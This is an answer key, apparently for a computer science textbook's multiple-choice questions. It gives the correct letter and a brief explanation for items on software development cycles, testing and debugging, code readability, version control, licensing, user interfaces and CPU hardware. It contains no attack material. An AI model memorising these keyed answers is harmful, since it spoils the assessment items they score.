0002.m.1.3 D. The purpose of each cycle is to learn from a working version and to adjust the plan. The evidence is about two features, so the plan for those features should change, while the rest of the program and the practice of testing remain. Question: page 600

0002.m.1.4 A. Frequent working versions let users meet the program early, so missing cases appear while they are cheap to address. Here the first contact with users came after fourteen months. Question: page 601

0002.m.1.5 A. Student D built a small working version, obtained a reaction, revised it, and extended it, which makes up repeated cycles of development. Students A, B, and C repeat repair, program loops, or test runs, but none of them revises the plan as a result of use. Question: page 601

0002.m.2.1 B. Effective programs begin with the needs of the people who will use them, found by talking with them. The other steps are design or implementation decisions that depend on those needs. Question: page 602

0002.m.2.2 B. A requirement says what users need, and leaves open how it will be provided. The data structure, algorithm, and language are all implementation decisions that could be changed without changing the need. Question: page 602

0002.m.2.3 D. Requirements work includes identifying conflicts among groups and discussing them to reach a balance. Following one group, or delaying the other, would leave the conflict in place. Question: page 602

0002.m.2.4 B. The app did what the student intended, but the intended behavior did not match the setting of its use. Asking the people who will use a program about their needs and circumstances is how such requirements are found. Question: page 603

0002.m.2.5 C. The people who use a program know best what they need, so a reliable account comes from watching and asking those people. The other approaches rely on guesses or on sources that may not describe this pantry. Question: page 603

0002.m.3.1 D. A paper sketch is a prototype that tests an idea cheaply and brings out feedback from the people who would use it. A full build is costly, and the team's own votes do not show what teachers will do. Question: page 604

0002.m.3.2 A. A short program of this kind is a prototype that tests the weighting idea cheaply and invites the teacher's reaction. It does not establish that the rule suits every student, and it does not need the reliability of the finished product. Question: page 604

0002.m.3.3 B. Users treat a finished-looking demonstration as settled, and so they comment on its surface. A sketch looks changeable, so they discuss function. A sketch does not make feedback more accurate by costing less. Question: page 605

0002.m.3.4 B. A small program aimed at the riskiest assumption is a prototype. If speech recognition is too slow, the team learns it before investing in the rest of the app. Question: page 605

0002.m.3.5 D. A prototype can be a working program, but it is built to learn quickly. It lacks the reliability, testing, and security that real use with thousands of students' records requires. Question: page 605

0002.m.4.1 B. Adding and testing one small feature at a time keeps the program working after every step. Writing everything first, or joining untested pieces, leaves many possible sources for any fault. Question: page 606

0002.m.4.2 C. The earlier lines printed the correct total before the new code was added, so the fault is most likely in the new lines. Line 08 assigns `passing` to itself rather than adding 1, so it never counts. Question: page 606

0002.m.4.3 B. Incremental testing narrows the search for a new fault to the last change. Repeated runs do not repair a program or produce reports of logic errors, and the number of faults does not depend on how often the program is run. Question: page 607

0002.m.4.4 B. A rule requiring passing tests before a change is added prevents silent breakage. The ordinary shipping requirement is unchanged, so the failure points to the new change. Question: page 607

0002.m.4.5 B. Adding the summing loop alone and running it would have stopped the program at that loop, which reads past the end of the list because `i <= scores.size[1]` allows an index of 4. Adding the mean in the same step left both pieces under suspicion. Question: page 608

0002.m.5.1 C. When requirements are stable and fully known, completing phases in order carries little risk, since discoveries that would force costly changes are unlikely. Frequent delivery is not what the sequential approach offers. Question: page 609

0002.m.5.2 A. Agile methods use short cycles and frequent feedback, and each cycle includes planning and documentation of its own. Agile does not mean the absence of either. Question: page 609

0002.m.5.3 A. In a sequence of phases, user needs are found early or not at all, so a missing requirement discovered during testing forces changes to design and code. The phases are long, not short, and users are consulted mainly at the start. Question: page 609

0002.m.5.4 B. Short cycles with frequent releases exchange a complete up-front plan for early feedback, which suits a project whose needs are uncertain. They do not fix cost and date in advance, and small releases still need testing. Question: page 610

0002.m.5.5 B. In a sequence of phases, users see a working program only after coding and testing. Team 2 produces a tested working version in each cycle and obtains reactions every two weeks. Question: page 610

0002.n Errors, testing, and debugging

0002.n.1.1 C. The program is valid and finishes, so the fault is a logic error: lines 14 and 15 apply the participation weight to homework and the homework weight to participation. A runtime error would stop the program with a message, and a syntax error would keep it from starting. Question: page 611

0002.n.1.2 B. A missing parenthesis is a syntax error. The program breaks the language's rules, so it cannot start, and even line 02 never runs. Question: page 612

0002.n.1.3 B. The first version was a runtime error: it ran until it read past the end of the array. The new condition stops one day early, which is a logic error: the program finishes but reports `160` rather than `210`. Question: page 612

0002.n.1.4 C. A syntax error keeps a program from starting, a runtime error stops it partway with a message, and a logic error lets it finish with a wrong result and no message. Question: page 613

0002.n.1.5 C. Dividing by zero is undefined, so line 10 stops the program with a runtime error after the total has been displayed. The fault depends on a value supplied while the program runs, so a test with `4` people cannot reveal it. Question: page 613

0002.n.2.1 B. Starting at `1` is right, because each pass compares a morning with the one before it. The condition `d < days - 1` stops at `d = 4`, so the last change, `9`, is never examined. The changes

examined are `3`, `0`, `2`, and `1`. Question: page 614

0002.n.2.2 C. Four gaps of 15 minutes separate five departures, so `trips` is `4`, and the loop must also run when `t` equals `4`. The version with `t = 1` and `<=` lists `15` through `60` and loses the departure at `0`. Question: page 615

0002.n.2.3 B. An array of size `n` has indexes `0` through `n - 1`. Here `n` is `4`, so `rooms[4]` is undefined and gives `ERROR`; `rooms[n - 1]` would give `"104"`. Question: page 615

0002.n.2.4 B. On Monday the jump from `21` to `35` is found, and the function returns before the loop nears the end. On Tuesday no jump is found, so the loop reaches `i = 4` and reads `readings[5]`, which does not exist. The loop should stop at `n - 1`. Question: page 616

0002.n.2.5 A. The last visitor is at index `count - 1`, and the first is at index `0`, so the loop must run from `count - 1` down to `0` inclusive. Starting at `count` reads past the end. Question: page 617

0002.n.3.1 A. Line 14 is indented under the `if` statement, so `i` changes only for a qualifying order. At `18`, the condition on line 11 is false, `i` stays `1`, and the loop repeats the same test forever. Question: page 617

0002.n.3.2 B. Counting down by 10 from 25 skips over `0`, so `seconds != 0` is always true. A condition that tests a range, `seconds > 0`, becomes false once the value passes `0`. Question: page 618

0002.n.3.3 A. The payment is added rather than subtracted, so `balance` grows on every pass and the condition never becomes false. With subtraction, the balance would fall by 140 each month and the loop would end after 9 months. Question: page 618

0002.n.3.4 C. The block updates `next`, but the condition tests `population`, which stays `400`. The loop never ends, and lines 11 and 12 display a growing value on every pass. Question: page 619

0002.n.3.5 A. `n` takes only even values, so `n != 11` is always true, and the loop runs forever. A range test such as `n < 11` ends once `n` reaches `12`. The third version displays `4` through `12` but still ends. Question: page 620

0002.n.4.1 D. The twelve names occupy indexes `0` through `11`. For `12`, line 08 reads `names[11]` and displays `"Dec"`, but line 09 reads `names[12]`, which does not exist, so the program stops with `ERROR`. Question: page 621

0002.n.4.2 C. For the empty array, the loop does not run, and line 07 divides `0` by a size of `0`. Division by zero is undefined, so the program stops with `ERROR`, and the poetry club is never reached. Question: page 621

0002.n.4.3 C. Keys must match exactly, and `"Pencil"` differs from `"pencil"`. Reading a key that is not in the map gives an undefined value, so the program stops with `ERROR`. Question: page 622

0002.n.4.4 A. Valid indexes run from `0` through `row.size[1] - 1`, so both tests are needed, joined by `AND`. With `<=`, position `4` passes and gives `ERROR`; with `OR`, every position passes. Question: page 623

0002.n.4.5 D. >= applies only to matching `int` or `float` values, and `form{"age"}` is a `String`, so the comparison is invalid and gives `ERROR`. The name check is valid, because == compares two `String` values. Question: page 624

0002.n.5.1 A. Each pass that finds a multiple of 5 adds a value, and the condition uses the current size, so the end keeps moving. The copies of `5` and `15` are themselves multiples of 5, so every copy produces another, and the loop never ends. Question: page 624

0002.n.5.2 D. Each append raises `scores.size[1]`, so a condition that reads it keeps moving. Saving the original size before the loop fixes the bound at `4`. Stepping by `2` ends the loop, but it curves the wrong values. Question: page 625

0002.n.5.3 B. Each deletion shifts the later values left by one, and `i` then increases, so the value that moved into position `i` is never examined. After the second deletion, a `"draft"` moves into index `1` and is skipped. Looping backward avoids this. Question: page 626

0002.n.5.4 A. Moving backward, a deletion shifts only values that have already been checked, so nothing is skipped. Stopping at `i > 0` leaves the `-99` at index `0`, and starting at the size reads past the end. Question: page 626

0002.n.5.5 D. The added sessions of `45` and `70` are examined and split again, adding `15` and `40`, and `40` adds `10`. The loop makes 9 passes and then ends, because the last sessions are short enough to add nothing. Question: page 627

0002.n.6.1 B. Values at and just beyond each limit test the boundaries. Age `12` should cost 8 dollars, but `age < 12` sends it to the next group, which charges 15. Every age in the other sets is handled correctly. Question: page 628

0002.n.6.2 B. A complete plan tests each limit and the value just beyond it, plus unexpected input such as an empty entry. Values far from the limits cannot show whether < was written where <= was meant. Question: page 628

0002.n.6.3 B. Starting `best` at `0` assumes that some reading is positive. For the winter readings, no value is greater than `0`, so the function returns `0` instead of `-3`. Starting with `temps[0]` would fix it. Question: page 629

0002.n.6.4 A. Typical values can all pass while a boundary fails, for example if < was written where <= was meant. Tests at `1` and `5` kilograms and just beyond them are still needed. Question: page 630

0002.n.6.5 D. An empty entry has no spaces, so the function returns `1` instead of `0`. Empty input is a common edge case, while the other sentences are counted correctly. Question: page 630

0002.n.7.1 D. Lines 09-18 are unit tests: they call one function with chosen inputs and compare each result with an expected value. For `-2`, the function returns `-4` rather than `0`, so one test fails. Question: page 631

0002.n.7.2 A. A function that receives parameters and returns a value can be called by a test with chosen inputs and its result compared with an expected value. Reading input and displaying output inside the function needs a person at the keyboard. Question: page 632

0002.n.7.3 B. The area of a 4 by 5 bed is `20`; `18` is its perimeter. The test fails because its expected value is wrong, so a failing test calls for checking the test as well as the code. Question: page 632

0002.n.7.4 D. A unit test for the input that revealed the fault, kept and rerun after every change, shows at once if the fault returns. Such a test is called a regression test. Question: page 633

0002.n.7.5 A. Unit tests check each piece in isolation, so each function can pass while the two disagree about units. Integration testing, which runs the functions together, would catch this. Question: page 633

0002.n.8.1 D. The four kept scores sum to `33`, so every step up to the check is correct for this input. The fault must lie after it: the division uses all five scores instead of the four that remain. Checking a value partway through is how a fault is isolated. Question: page 634

0002.n.8.2 C. Every change must be retested against the cases that passed before. Here the retest would reveal a new fault: 2000 is divisible by 100, so the changed condition now returns `FALSE` for it, although 2000 was a leap year. Question: page 634

0002.n.8.3 B. Systematic debugging starts by reproducing the problem. Until the failure can be produced on demand, neither its cause nor a fix can be tested. Question: page 635

0002.n.8.4 B. Changing one thing at a time and retesting after each change shows which change mattered. Here, any of the edits could have fixed the fault, and another could have broken purchases that were not retested. Question: page 635

0002.n.8.5 D. The indexes `0` through `3` cover all four answers, so the hypothesis is refuted, which is useful evidence. A new hypothesis is needed: setting `streak` to `FALSE` after every answer, rather than only after an incorrect one, means no bonus is ever awarded. Question: page 636

0002.n.9.1 A. A linter can flag a name that is used but never declared, without running the code. The tests passed because none of them reached the charging step, where `fees` would stop the program with an error. Negative input and the order of the rules depend on values and intent, which a linter cannot know. Question: page 637

0002.n.9.2 B. Linters flag unused names, such as `depth`, because they often signal a mistake or leftover code. The program runs correctly, and a linter cannot know what the author meant to compute. Question: page 637

0002.n.9.3 B. Static analysis examines code without running it, so it cannot tell that `scores.size[1]` will be `0` for one input. Errors that depend on runtime values, such as dividing by zero, must be found by testing, here with an empty array. Question: page 638

0002.n.9.4 C. A linter performs static analysis: it reads code without running it and flags undefined names, unused names, and style violations. A debugger and unit tests both need the program to

run, and neither reports formatting. Question: page 639

0002.n.9.5 B. A linter catches some errors, such as undefined names, but it cannot know runtime values or what the program is meant to do. Testing is still needed to check behavior. Question: page 639

0002.o Performance, readability, and documentation

0002.o.1.1 D. The function counts late students, but its name says that it totals lateness, so the name caused the misreading. Because the output is what the author intended, the behavior should stay as it is and the name should change. Renaming `n` to `total` would add a second misleading name. Question: page 640

0002.o.1.2 A. Consistent conventions make code predictable and easier for others to read. They have no effect on the program's speed or meaning, and the project already behaves correctly, so readability is the reason for the change. Question: page 640

0002.o.1.3 D. The function returns `TRUE` only when no level falls below the minimum, so the name should say that every level is at or above it. The name `has_low_level` states the opposite of the result, and a misleading name is worse than a vague one. Question: page 641

0002.o.1.4 C. Names communicate purpose to human readers. A consistent renaming changes neither what the program computes nor how quickly it computes it, and a parameter takes its value from the argument whatever the argument's name is. Question: page 641

0002.o.1.5 C. The name `data2` says nothing about what it holds, and its wide use means that many readers will meet it. A counter named `i` in a very short loop is a widely understood convention, and the other two names already state their purpose. Question: page 642

0002.o.2.1 C. Only the comment about the board's policy explains why the code subtracts one day, and the code cannot convey that reason by itself. The other three comments restate what a reader can already see. Question: page 643

0002.o.2.2 A. The function correctly returns 1350 cents, but the comment still says dollars. Comments do not affect execution, so a comment that is not kept up to date can mislead readers while the code continues to run correctly. Question: page 643

0002.o.2.3 A. Documentation describes how to use a program, including its inputs and outputs. These callers need to know the function's purpose and interface, and the internal steps and change history do not help them call it correctly. Question: page 644

0002.o.2.4 B. Documentation tells a user or caller how to use a program, including inputs and outputs. The reason behind an unusual choice belongs in a comment beside that code, because the code alone cannot explain why it exists. Question: page 644

0002.o.2.5 B. Documentation should cover what a caller supplies and receives, including special results. A caller who does not know about the −1 could treat it as a real average, whereas the loop's

internal steps do not affect how the function is used. Question: page 645

0002.o.3.1 A. A loop's condition runs before every pass, so `count_present` scans the whole roster on each one. The roster does not change, so the count can be computed once and stored. A `for` loop would check its condition before every pass as well. Question: page 645

0002.o.3.2 C. `rate` and `bonus` do not change, so `adjusted` can be computed once. `pay` depends on `i`, and `total` accumulates on each pass, so those statements must stay in the loop. Only work that truly does not change can be moved. Question: page 646

0002.o.3.3 B. The inner loop runs 1,000 times for each of 1,000 days, which is $O(n^2)$. After the change, the sum is computed once, and the remaining loop only compares, so the work is $O(n)$. The output is unchanged because the mean does not depend on `d`. Question: page 647

0002.o.3.4 C. Work can move out of a loop only if its result truly does not change. The settings stay fixed while the program runs, so they can be loaded once. A sensor gives new readings over time even though the call looks the same on each pass. Question: page 648

0002.o.3.5 C. Only the rate is unchanging, so it can be computed once before the loop, and the rest stays inside the loop. Computing `cut` once would apply the first price's discount to every item. Question: page 648

0002.o.4.1 D. Behavior has to stay the same for every input, and here 50 grams now returns 5 instead of 2. Tests give evidence of preserved behavior only for the cases they cover. Restructuring a condition chain is acceptable, and the problem is the changed boundary. Question: page 649

0002.o.4.2 A. The function has to act on its parameter and keep what the original block did, including the output. A returned value would be discarded by these calls, so nothing would appear, and that would change the program's behavior. Question: page 650

0002.o.4.3 C. Tests provide the evidence that behavior has not changed, and they should capture what the code does now, including the odd cases. A suspected bug is a separate change to make and review on its own. Question: page 651

0002.o.4.4 D. Changing internal structure without changing behavior is refactoring, and only the division into helper functions fits. Dropping a page, correcting totals, and adding an option each change what the program does, even if the code becomes simpler. Question: page 651

0002.o.4.5 D. The output runs last in both branches, so one copy after the decision gives the same result in every case. Placing it before the decision would display the old balance, and deleting `else` would apply both subtractions. Question: page 652

0002.o.5.1 D. Each meaning needs its own name, even when the values happen to match. Named constants state what a number means and let that one value change in a single location, which leaves the other rule untouched. Question: page 652

0002.o.5.2 A. Only the first loop uses the constant, so it now counts `72` and `90`, for a total of 2. The second loop still compares with `65`, so `68` is not listed. A constant lets a value change in one place

only if every use refers to it. Question: page 653

0002.o.5.3 B. The `7` is an unexplained number with a reason behind it, so a name such as `MINUTES_PER_SEGMENT` would state its meaning. An index that starts at `0` and a step of `1` are reasonable exceptions, and the array holds data rather than a rule. Question: page 654

0002.o.5.4 B. Named constants have two benefits: they state a number's meaning, and they let a value change in one place. The first benefit applies even to a value that will never change. Question: page 655

0002.o.5.5 A. The names make the number's meaning clear, but one benefit of a named constant is that the value changes in a single location. Three separate definitions lose that benefit, so one shared definition would be better. Question: page 655

0002.o.6.1 A. Each lookup scans up to 40,000 entries, and a map finds a value directly by its key, so choosing a suitable structure removes most of that work. The other changes leave the scan in place and make at most a small difference. Question: page 655

0002.o.6.2 A. Searching an array means examining its entries, and the array grows with the arrivals, so the total work grows much faster than the number of arrivals. A map finds a key directly, and that choice of structure helps far more than rewriting individual lines. Question: page 656

0002.o.6.3 A. Measuring first shows where the time actually goes. The loop may account for very little of the running time, so careful work on it can cost readability without bringing much benefit. Question: page 657

0002.o.6.4 D. Because the words are sorted, binary search can discard half of the remaining range at each comparison, which takes about 20 comparisons for a million words. That change of algorithm helps far more than tuning a scan that may check all of the words. Question: page 657

0002.o.6.5 C. A suitable data structure changes how the work grows, so its benefit increases with the size of the data. A 10% saving on each pass leaves the job growing at the same rate as before. Question: page 658

0002.p Tools and collaboration

0002.p.1.1 A. An integrated development environment (IDE) combines an editor, a debugger, and build or run tools in one place. Compilers, repositories, and style guides each serve other purposes and leave the three separate windows in place. Question: page 658

0002.p.1.2 C. IDEs often check code in the background and underline problems while it is being typed. A debugger needs a running program, version control records history, and a package manager installs libraries. Question: page 659

0002.p.1.3 B. An IDE is an abstraction over several tools. The tools still do the work, and a programmer who understands them can run, build, and debug a program without the IDE. Question: page 659

0002.p.1.4 C. Many IDEs integrate version control with the editor, showing changed lines and offering commits. A debugger shows the state of a running program, and a package manager tracks libraries, not the history of the student's own files. Question: page 660

0002.p.1.5 A. Code completion is an editor feature that suggests valid names as code is typed, using what the IDE knows about the language and the project. It does not execute the program. Question: page 660

0002.p.2.1 D. The breakpoint is inside the if block, so the program pauses only for prices above 20. The first pause occurs at 25, when total is 12, and the second at 30, when total is 12 + 20 + 8 = 40. The line has not executed yet, so 30 is not included. Question: page 660

0002.p.2.2 C. A conditional breakpoint pauses only when its condition is true, so the programmer can stop at the one failing pass among 50,000 and inspect the variables there. A breakpoint after the loop never fires, because the program stops with an error first. Version control compares text, not run-time values. Question: page 661

0002.p.2.3 D. Step over executes a called function as one step, so the programmer stays in the current function. Step into would enter `average`, continue would run on to the next breakpoint, and step out would leave the current function. Question: page 662

0002.p.2.4 D. Log entries record what happened without stopping the program, which suits a remote or production system where pausing is not practical and the failure cannot be reproduced elsewhere. A debugger is better suited to a repeatable problem on a developer's own machine. Question: page 662

0002.p.2.5 D. A debugger lets a programmer pause, step, and inspect values. It does not know what the program was meant to do, so the programmer must notice which value is not what was expected. Question: page 663

0002.p.3.1 A. Branches allow people to work separately without disturbing the main version, and merging combines the finished work. Manual copying and turn-taking give up the history and the protection that branches provide, and Git does not choose between overlapping edits on its own. Question: page 663

0002.p.3.2 A. Git cannot tell which of two edits to the same line is intended, so it marks both and waits for a person to decide. The student edits the file to hold the intended text, removes the markers, and commits the result. Question: page 663

0002.p.3.3 B. The history holds each earlier state of the project, so testing those states shows where the behavior changed, and the commit that changed it can then be read. The other approaches discard or blur the history, or rely on messages that need not mention the fault. Question: page 664

0002.p.3.4 B. Commit messages are the place where a project records why a change was made, and small, focused commits make that explanation precise. Fewer commits, manual copies, and extra branches would not explain the late-work change. Question: page 664

0002.p.3.5 A. Git merges automatically when changes do not touch the same lines. A person is needed only when two edits overlap, and then only for the overlapping lines. Question: page 665

0002.p.4.1 A. A package manager reads the listed versions and installs exactly those, which makes the environment reproducible. Newer versions of a library can change how its functions behave, as happened with the axes. Listing a version does not make the library flawless. Question: page 665

0002.p.4.2 D. A package manager tracks versions as dependencies, which makes it clear which projects are affected and makes upgrading a matter of changing the version and reinstalling. It does not change a project's code or upgrade libraries without instruction. Question: page 666

0002.p.4.3 D. A library may itself call other libraries. The package manager installs those as well and tracks their versions, so the six packages are the requested library and the code that it needs in order to run. Question: page 666

0002.p.4.4 C. Because versions are tracked, an earlier one can be installed again, restoring the functions the program expects. The student can then plan the changes needed for version 3.0 without the pressure of the demonstration. Question: page 667

0002.p.4.5 D. A library is code that a program calls but that is stored separately. If the lab computer does not have it installed, the program cannot find it, and the package manager can install it from the recorded dependencies. Question: page 667

0002.p.5.1 A. An API defines the requests that it accepts and the responses that it returns. The documentation names the parameter `city`, so a request with `town` does not match the interface. Question: page 668

0002.p.5.2 D. An application programming interface (API) hides how a system is implemented and describes only how to ask it for data. The student relies on the agreed form of requests and responses. Question: page 668

0002.p.5.3 D. A provider can change prices, limits, and request types. Anyone who builds on an API accepts this dependence on the provider and should prepare for changes. Question: page 668

0002.p.5.4 A. A web page's layout is meant for people and changes whenever the design changes. An API describes requests and responses meant for programs, so a program that follows it breaks less often, although the provider may still change it and sets the terms of use. Question: page 669

0002.p.5.5 B. The path identifies which service the request is directed to, and the values after the question mark adjust the request. The history service documents a `date` parameter that the forecast service does not use, so the request must be changed to match its documentation. Question: page 669

0002.p.6.1 B. A good review comment is specific about where the problem is and why, and is phrased respectfully, often as a question or suggestion. Vague preferences, rubber-stamp approvals, and comments about the author do not help the author fix the code. Question: page 670

0002.p.6.2 A. In pair programming, the driver types and the navigator reviews and plans ahead, and the two switch roles regularly. The navigator catches problems as the code is written and shares the knowledge of the design. Question: page 670

0002.p.6.3 A. An issue tracker keeps a shared record of tasks, owners, and status, so members can see what is open, who is doing it, and what is done. Commit histories and reviews cover only work that already exists. Question: page 670

0002.p.6.4 D. Shared style conventions, enforced by a formatter, settle layout questions before review begins, so that reviewers can examine logic. Reviewing less, dropping the conventions, or relying on tests alone does not achieve that. Question: page 671

0002.p.6.5 A. Besides catching problems, code review lets teammates learn from one another and keeps conventions shared. Reviewers do not replace testing, cannot guarantee correctness, and do not take on the author's responsibility. Question: page 671

0002.p.7.1 C. The license grants permission on condition that the notice stays with all copies, so the student must follow that condition and credit the author. Code posted publicly is not necessarily in the public domain, and no further permission is needed when the license already grants it. Question: page 672

0002.p.7.2 A. Without a license, the author keeps all rights, and reuse may not be permitted. Crediting the source or editing the code does not supply permission. The student may use the post to understand the idea or may ask the author. Question: page 672

0002.p.7.3 C. Reusing code requires understanding what it does. Reading it and testing it on realistic data would have revealed how it treats duplicate names. Popularity, renaming, and credit address other matters and say nothing about behavior. Question: page 673

0002.p.7.4 D. Code from a generator is reused code. It must be understood and tested on a range of inputs, since it may handle the example and still fail in other cases, such as lists with an even number of values. Question: page 673

0002.p.7.5 D. Following a license, including crediting the author where it requires, is part of reusing code. Neither the educational purpose nor the absence of payment removes the condition, and it applies to unmodified code as well. Question: page 674

0003 Networks, the Internet, and system design

0003.a Input, output, and interfaces

0003.a.1.1 B. A touch screen senses touches, which is input, and displays results, which is output. The processor and software do their own work, but that does not change the screen's dual role. Question: page 674

0003.a.1.2 A. A sensor such as an anemometer sends measurements into the system. The display and printer present results, and the processor works on data that has already arrived. Question:

page 675

0003.a.1.3 B. Output devices may act on results as well as display them, so an actuator such as a valve is output. A probe sends data in, and memory and program logic are not output devices. Question: page 675

0003.a.1.4 A. Output need not be visual, and a braille display presents results by touch. A keyboard and a scanner send data in, and a monitor remains visual. Question: page 675

0003.a.1.5 C. The speaker presents a result to the people in the house. The camera, button, and motion detector all send data into the system. Question: page 675

0003.a.2.1 A. Commands are efficient and easy to script, so one script can handle thousands of files unattended. Terminals neither display icons nor list their commands, and permissions still apply. Question: page 676

0003.a.2.2 D. A command-line application takes its input through the keyboard, so losing a pointing device has little effect on the work. Question: page 676

0003.a.2.3 C. Commands must be known or looked up, because nothing on the screen shows them. Experienced users work quickly because they already know the commands. Question: page 676

0003.a.2.4 D. A single command can act on many files, which shows the efficiency of the command line. Exploring options and judging images favor a graphical interface. Question: page 677

0003.a.2.5 A. Text takes little bandwidth, so the command line suits remote administration. Remote graphical sessions exist and can be encrypted, but they send far more data. Question: page 677

0003.a.3.1 D. Menus and icons make options easy to discover, but repetitive work is harder to automate than it is with commands. Question: page 677

0003.a.3.2 C. Windows, icons, menus, and a pointer are the features that define a graphical user interface. Question: page 678

0003.a.3.3 D. A graphical interface favors discovery over repetition, so a task repeated 500 times becomes slow when done by hand. Question: page 678

0003.a.3.4 B. Visible options reduce what users must remember, and this helps people who are new to a program. Question: page 678

0003.a.3.5 C. A graphical interface makes options easy to discover, which helps a first-time user. The other tasks call for scripting or for a text connection. Question: page 679

0003.a.4.1 A. A key combination gives immediate access to a function, so the hands can stay on the keyboard. Question: page 679

0003.a.4.2 D. Hot keys are keys or combinations that give immediate access to a function. No code is written and no command is typed. Question: page 679

0003.a.4.3 D. Hot keys let the teacher perform common functions from the keyboard. The other features still require moving the mouse. Question: page 679

0003.a.4.4 B. Following common conventions prevents errors. Users carry their habits between applications, so a changed combination invites mistakes. Question: page 680

0003.a.4.5 D. A hot key avoids the trip to the trackpad and the search through the menu. An icon still requires the pointer. Question: page 680

0003.a.5.1 A. Checkboxes allow any number of selections among options that are not mutually exclusive. Radio buttons and a standard drop-down menu allow one. Question: page 680

0003.a.5.2 C. Radio buttons allow exactly one selection, because choosing one deselects the others. Instructions do not stop a buyer from checking several boxes. Question: page 681

0003.a.5.3 C. Drop-down menus save space when options are many. Fifty buttons or boxes would take up the screen, and a text field does not restrict answers. Question: page 681

0003.a.5.4 C. The options are not mutually exclusive, but radio buttons accept exactly one. Checkboxes would have let people report every language they speak. Question: page 681

0003.a.5.5 C. A single checkbox can express a yes-or-no choice, so two radio buttons are not needed. Question: page 681

0003.a.6.1 D. A helpful error message explains how to recover, and keeping the other entries limits the cost of the mistake. A louder or larger signal still gives no direction. Question: page 682

0003.a.6.2 C. Clear feedback tells users what has happened. No error has occurred here, and the placement of the commands is not at issue. Question: page 682

0003.a.6.3 A. Good design makes serious mistakes harder to make. Separation and confirmation act before the damage, whereas messages and progress indicators do not. Question: page 682

0003.a.6.4 D. Consistent placement lets users transfer what they learn from one page to the next. Question: page 683

0003.a.6.5 D. Clear feedback shows users that the system is working, so they have no reason to click again. Question: page 683

0003.a.7.1 C. Accessible interfaces label their elements, let users reach each one with the Tab key, and do not depend on a mouse. Question: page 683

0003.a.7.2 D. Some users cannot operate a pointing device, so an interface should not rely on a mouse alone. The other requirements all support access. Question: page 684

0003.a.7.3 C. Semantic elements come with keyboard behavior and with meaning for assistive technology. Visual changes do not provide these. Question: page 684

0003.a.7.4 B. Sufficient contrast between text and background helps people with low vision read the text. Question: page 684

0003.a.7.5 B. Color alone conveys nothing to a screen reader user and may not be distinguishable to someone with color vision deficiency. Question: page 684

0003.a.8.1 B. Interfaces for phones need adequately large and well-spaced touch targets, since a fingertip is less precise than a pointer. Question: page 685

0003.a.8.2 C. A responsive layout adapts to different screen sizes, so that one site serves phones, tablets, and desktops. Question: page 685

0003.a.8.3 C. Responsive layouts adapt to the screen instead of forcing a fixed width, and they keep the content available. Question: page 685

0003.a.8.4 A. Hover does not exist on most touch screens, so a design should not hide information behind it. Question: page 686

0003.a.8.5 D. Using the site on real screen sizes exposes problems that reading code or file sizes cannot reveal. Question: page 686

0003.a.9.1 A. Observing representative users performing the real task shows directly where they succeed or struggle. Question: page 686

0003.a.9.2 B. Observing users performing real tasks is meant to identify where a design causes confusion or errors. Question: page 687

0003.a.9.3 A. Observers should not guide participants, because the aim is to see where the design fails without help. Question: page 687

0003.a.9.4 A. Even a few representative users can reveal many problems, and those who know the design cannot show where newcomers struggle. Question: page 687

0003.a.9.5 B. Stated preferences and observed performance often differ, and failure on real tasks matters more. Question: page 687

0003.b Hardware, software, and how they interact

0003.b.1.1 D. A CPU executes instructions in a repeating fetch, decode, and execute cycle. Question: page 688

0003.b.1.2 B. The control unit, registers, and arithmetic logic unit work together within the CPU to execute instructions. Question: page 688

0003.b.1.3 C. Clock speed sets how many cycles occur per second, so the same instructions take less time. Question: page 688

0003.b.1.4 A. Registers are small, fast storage locations inside the CPU. Memory holds the running program, but values being operated on are in registers. Question: page 689

0003.b.1.5 A. High-level behavior results from executing a huge number of simple instructions. Question: page 689

0003.b.2.1 D. The arithmetic logic unit performs the operation named in the instruction register on the register values, and it places the result in the accumulator. Question: page 689

0003.b.2.2 A. Despite its name's emphasis on arithmetic, the unit also performs logical operations such as `AND` and `OR`. Question: page 690

0003.b.2.3 D. The arithmetic logic unit compares the values, and the control unit directs the instruction sequence. Question: page 690

0003.b.2.4 C. In this model, the arithmetic logic unit sends its result to the accumulator, which can then be used in further operations. Question: page 690

0003.b.2.5 C. The control unit coordinates the sequence, and the arithmetic logic unit performs the computation. Question: page 690

0003.b.3.1 B. Random access memory (RAM) is volatile, so unsaved edits are lost without power. A saved file is on storage, which retains data. Question: page 691

0003.b.3.2 C. RAM is fast, volatile memory for running programs, and it loses its contents without power. Question: page 691

0003.b.3.3 B. Running programs use RAM, so a shortage slows the system regardless of how much free drive space there is. Question: page 691

0003.b.3.4 B. The two kinds of memory trade speed against persistence, so a computer uses both. Question: page 692

0003.b.3.5 B. To be used by a running program, data is loaded from storage into RAM. Saving moves data in the opposite direction. Question: page 692

0003.b.4.1 B. The operating system manages hardware and gives applications a consistent interface, so developers can largely ignore hardware specifics. Question: page 692

0003.b.4.2 C. An operating system manages memory, files, hardware, and running processes. Question: page 693

0003.b.4.3 A. The operating system's scheduler switches among processes rapidly so that they can share the CPU. Question: page 693

0003.b.4.4 C. This interface hides device details. The operating system still enforces permissions, and it does not make the hardware faster. Question: page 693

0003.b.4.5 C. The operating system enforces access rules on files through permissions. Question: page 694

0003.b.5.1 C. A device driver lets the OS communicate with a specific hardware device. Question: page 694

0003.b.5.2 D. A device driver is software that lets the operating system communicate with a specific hardware device. Question: page 694

0003.b.5.3 C. Drivers provide a modular way to support hardware, so new devices do not require a new operating system. Question: page 694

0003.b.5.4 B. A clean installation can leave out a required driver, and the evidence clears both the speakers and any one application. Question: page 695

0003.b.5.5 C. Low-level access makes a driver's failure more severe than an application's failure. Question: page 695

0003.b.6.1 B. Assembly language is a human-readable, architecture-specific form of machine language. Question: page 695

0003.b.6.2 C. Machine language consists of binary instructions that a CPU executes directly. Question: page 696

0003.b.6.3 B. Each architecture has its own instruction set, so assembly language does not carry across processor families. Question: page 696

0003.b.6.4 D. Compilers may generate assembly language as an intermediate step in translating source code to machine code. Question: page 696

0003.b.6.5 B. An assembler translates assembly language into machine code. Question: page 697

0003.b.7.1 A. A compiler translates a whole program in advance, whereas an interpreter translates it during execution. Question: page 697

0003.b.7.2 A. High-level source code must become binary machine language in order to run. Question: page 697

0003.b.7.3 D. Compiled programs can run fast but need a build step, and interpreted programs are translated during execution. Question: page 698

0003.b.7.4 C. Binaries can be run without giving customers the source code, although they can still be analyzed. Question: page 698

0003.b.7.5 D. A compiler processes the whole program before it runs, so the error appears first. An interpreter reaches the error only during execution. Question: page 698

0003.b.8.1 D. `AND` outputs `1` only when both inputs are `1`. Question: page 699

0003.b.8.2 C. Transistors form gates, and gates form the circuits that perform arithmetic and store values. Question: page 699

